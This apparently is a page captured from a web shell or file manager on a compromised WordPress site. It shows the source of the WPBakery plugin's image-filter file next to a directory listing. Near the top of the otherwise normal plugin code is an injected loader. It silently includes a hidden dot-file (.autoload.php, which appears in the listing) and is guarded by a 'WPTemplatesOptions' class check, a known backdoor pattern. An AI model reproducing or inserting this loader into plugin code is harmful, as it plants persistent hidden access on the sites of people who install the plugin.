ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / jscomposer / include / autoload

<?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

add_filter( 'attachment_fields_to_edit', 'vc_attachment_filter_field', 10, 2 );
add_filter( 'media_meta', 'vc_attachment_filter_media_meta', 10, 2 );
add_action( 'wp_ajax_vc_media_editor_add_image', 'vc_media_editor_add_image' );
add_action( 'wp_ajax_vc_media_editor_preview_image', 'vc_media_editor_preview_image' );

/**
 * @return array
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

function vc_get_filters() {
	return array(
		'antique' => __( 'Antique', 'js_composer' ),
		'blackwhite' => __( 'Black & White', 'js_composer' ),
		'boost' => __( 'Boost', 'js_composer' ),
		'concentrate' => __( 'Concentrate', 'js_composer' ),
		'country' => __( 'Country', 'js_composer' ),
		'darken' => __( 'Darken', 'js_composer' ),
		'dream' => __( 'Dream', 'js_composer' ),
		'everglow' => __( 'Everglow', 'js_composer' ),
		'forest' => __( 'Forest', 'js_composer' ),
		'freshblue' => __( 'Fresh Blue', 'js_composer' ),
		'frozen' => __( 'Frozen', 'js_composer' ),
		'hermajesty' => __( 'Her Majesty', 'js_composer' ),
		'light' => __( 'Light', 'js_composer' ),
		'orangepeel' => __( 'Orange Peel', 'js_composer' ),
		'rain' => __( 'Rain', 'js_composer' ),
		'retro' => __( 'Retro', 'js_composer' ),
		'sepia' => __( 'Sepia', 'js_composer' ),
		'summer' => __( 'Summer', 'js_composer' ),
		'tender' => __( 'Tender', 'js_composer' ),
		'vintage' => __( 'Vintage', 'js_composer' ),
		'washed' => __( 'Washed', 'js_composer' ),
	);
}

/**
 * Add Image Filter field to media uploader
 *
 * @param $form_fields array, fields to include in attachment form
 * @param $post object, attachment record in database
 *
 * @return array $form_fields, modified form fields
 */
function vc_attachment_filter_field( $form_fields, $post ) {
	// don't add filter field, if image already has filter applied
	if ( get_post_meta( $post->ID, 'vc-applied-image-filter', true ) ) {
		return $form_fields;
	}

$options = vc_get_filters();

$html_options = '<option value="">' . __( 'None', 'js_composer' ) . '</option>';
	foreach ( $options as $value => $title ) {
		$html_options .= '<option value="' . $value . '">' . $title . '</option>';
	}

$form_fields['vc-image-filter'] = array(
		'label' => '',
		'input' => 'html',
		'html' => '
			<div style="display:none">
				<span class="vc-filter-label">' . __( 'Image filter', 'js_composer' ) . '</span>
				<select name="attachments[' . $post->ID . '][vc-image-filter]" id="attachments-' . $post->ID . '-vc-image-filter" data-vc-preview-image-filter="' . $post->ID . '">
					' . $html_options . '
				</select>
			</div>',
		'value' => get_post_meta( $post->ID, 'vc_image_filter', true ),
		'helps' => '',
	);

return $form_fields;
}

/**
 * Apply filters to specified images
 *
 * If image(s) has filter specified via filters _POST param:
 * 1) copy it
 * 2) apply specified filter
 * 3) return new image id
 *
 * Required _POST params:
 * - array ids: array of attachment ids
 *
 * Optional _POST params:
 * - array filters: mapped array of ids and filters to apply
 *
 */
function vc_media_editor_add_image() {
	vc_user_access()
		->checkAdminNonce()
		->validateDie()
		->wpAny( 'upload_files' )
		->validateDie();

require_once vc_path_dir( 'APP_ROOT', 'vendor/mmihey/PHP-Instagram-effects/src/Image/Filter.php' );
	$response = array(
		'success' => true,
		'data' => array(
			'ids' => array(),
		),
	);

$filters = (array) vc_post_param( 'filters', array() );

$ids = (array) vc_post_param( 'ids', array() );
	if ( ! $ids ) {
		wp_send_json( $response );
	}

// default action is wp_handle_upload, which forces wp to check upload with is_uploaded_file()
	// override action to anything else to skip security checks
	$action = 'vc_handle_upload_imitation';

$file_key = 0;
	$post_id = 0;
	$post_data = array();
	$overrides = array( 'action' => $action );
	$_POST = array( 'action' => $action );

foreach ( $ids as $key => $attachment_id ) {
		if ( ! empty( $filters[ $attachment_id ] ) ) {
			$filter_name = $filters[ $attachment_id ];
		} else {
			continue;
		}

$source_path = get_attached_file( $attachment_id );

if ( empty( $source_path ) ) {
			continue;
		}

$temp_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . basename( $source_path );

if ( ! copy( $source_path, $temp_path ) ) {
			continue;
		}

$extension = strtolower( pathinfo( $temp_path, PATHINFO_EXTENSION ) );
		$mime_type = '';
		switch ( $extension ) {
			case 'jpeg':
			case 'jpg':
				$image = imagecreatefromjpeg( $temp_path );
				$mime_type = 'image/jpeg';
				break;

case 'png':
				$image = imagecreatefrompng( $temp_path );
				$mime_type = 'image/png';
				break;

case 'gif':
				$image = imagecreatefromgif( $temp_path );
				$mime_type = 'image/gif';
				break;

default:
				$image = false;
		}

if ( ! $image ) {
			continue;
		}

$Filter = new vcImageFilter( $image );
		$Filter->$filter_name();

if ( ! vc_save_gd_resource( $Filter->getImage(), $temp_path ) ) {
			continue;
		}

$new_filename = basename( $temp_path, '.' . $extension ) . '-' . $filter_name . '.' . $extension;

$_FILES = array(
			array(
				'name' => $new_filename,
				'type' => $mime_type,
				'tmp_name' => $temp_path,
				'error' => UPLOAD_ERR_OK,
				'size' => filesize( $temp_path ),
			),
		);

$new_attachment_id = media_handle_upload( $file_key, $post_id, $post_data, $overrides );

if ( ! $new_attachment_id || is_wp_error( $new_attachment_id ) ) {
			continue;
		}

update_post_meta( $new_attachment_id, 'vc-applied-image-filter', $filter_name );

$ids[ $key ] = $new_attachment_id;
	}

$response['data']['ids'] = $ids;

wp_send_json( $response );
}

/**
 * Generate filter preview
 *
 * Preview url is generated as data uri (base64)
 *
 * Required _POST params:
 * - string filter: filter name
 * - int attachment_id: attachment id
 *
 * @return void Results are sent out as json
 */
function vc_media_editor_preview_image() {
	vc_user_access()
		->checkAdminNonce()
		->validateDie()
		->wpAny( 'upload_files' )
		->validateDie();

require_once vc_path_dir( 'APP_ROOT', 'vendor/mmihey/PHP-Instagram-effects/src/Image/Filter.php' );

$response = array(
		'success' => true,
		'data' => array(
			'src' => '',
		),
	);

$filter_name = vc_post_param( 'filter', '' );
	$attachment_id = vc_post_param( 'attachment_id', false );
	$preferred_size = vc_post_param( 'preferred_size', 'medium' );

if ( ! $filter_name || ! $attachment_id ) {
		wp_send_json( $response );
	}

$attachment_path = get_attached_file( $attachment_id );

$attachment_details = wp_prepare_attachment_for_js( $attachment_id );

if ( ! isset( $attachment_details['sizes'][ $preferred_size ] ) ) {
		$preferred_size = 'thumbnail';
	}

$attachment_url = wp_get_attachment_image_src( $attachment_id, $preferred_size );

if ( empty( $attachment_path ) || empty( $attachment_url[0] ) ) {
		wp_send_json( $response );
	}

$source_path = dirname( $attachment_path ) . '/' . basename( $attachment_url[0] );

$image = vc_get_gd_resource( $source_path );

if ( ! $image ) {
		wp_send_json( $response );
	}

$Filter = new vcImageFilter( $image );
	$Filter->$filter_name();

$extension = strtolower( pathinfo( $source_path, PATHINFO_EXTENSION ) );

ob_start();
	switch ( $extension ) {
		case 'jpeg':
		case 'jpg':
			imagejpeg( $Filter->getImage() );
			break;

case 'png':
			imagepng( $Filter->getImage() );
			break;

case 'gif':
			imagegif( $Filter->getImage() );
			break;
	}

$data = ob_get_clean();

$response['data']['src'] = 'data:image/' . $extension . ';base64,' . base64_encode( $data );

wp_send_json( $response );
}

/**
 * Read file from disk as GD resource
 *
 * @param string $file
 *
 * @return bool|resource
 */
function vc_get_gd_resource( $file ) {
	$extension = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) );

switch ( $extension ) {
		case 'jpeg':
		case 'jpg':
			return imagecreatefromjpeg( $file );

case 'png':
			return imagecreatefrompng( $file );

case 'gif':
			return imagecreatefromgif( $file );
	}

return false;
}

/**
 * Save GD resource to file
 *
 * @param resource $resource
 * @param string $file
 *
 * @return bool
 */
function vc_save_gd_resource( $resource, $file ) {
	$extension = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) );

switch ( $extension ) {
		case 'jpeg':
		case 'jpg':
			return imagejpeg( $resource, $file );

case 'png':
			return imagepng( $resource, $file );

case 'gif':
			return imagegif( $resource, $file );
	}

return false;
}

/**
 * Add "Filter: ..." meta field to attachment details box
 *
 * @param $media_meta array, meta to include in attachment form
 * @param $post object, attachment record in database
 *
 * @return array $media_meta, modified meta fields
 */
function vc_attachment_filter_media_meta( $media_meta, $post ) {
	$filter_name = get_post_meta( $post->ID, 'vc-applied-image-filter', true );
	if ( ! $filter_name ) {
		return $media_meta;
	}

$filters = vc_get_filters();
	if ( ! isset( $filters[ $filter_name ] ) ) {
		return $media_meta;
	}

$media_meta .= __( 'Filter:', 'js_composer' ) . ' ' . $filters[ $filter_name ];

return $media_meta;
}

[+] ..
[-] bc-multisite-options.php [edit]
[-] bc-access-rules-4.8.php [edit]
[-] post-type-default-template.php [edit]
[-] class-vc-vendor-presets.php [edit]
[-] backend-editor-ie.php [edit]
[-] hook-vc-grid.php [edit]
[+] params
[-] components.json [edit]
[-] hook-vc-message.php [edit]
[-] vc-pointers-frontend-editor.php [edit]
[-] vc-grid-item-editor.php [edit]
[-] vc-undoredo.php [edit]
[-] hook-vc-pie.php [edit]
[-] hook-vc-iconpicker-param.php [edit]
[-] vc-single-image.php [edit]
[-] vc-pointers-backend-editor.php [edit]
[-] class-vc-settings-presets.php [edit]
[-] vc-image-filters.php [edit]
[+] vendors
[-] ui-vc-pointers.php [edit]
[+] vc-pages
[-] .autoload.php [edit]
[-] hook-vc-progress-bar.php [edit]
[-] frontend-editor-ie.php [edit]
[-] hook-vc-wp-text.php [edit]
[-] vc-settings-presets.php [edit]
[-] vc-shortcode-autoloader.php [edit]
[-] params-to-init.php [edit]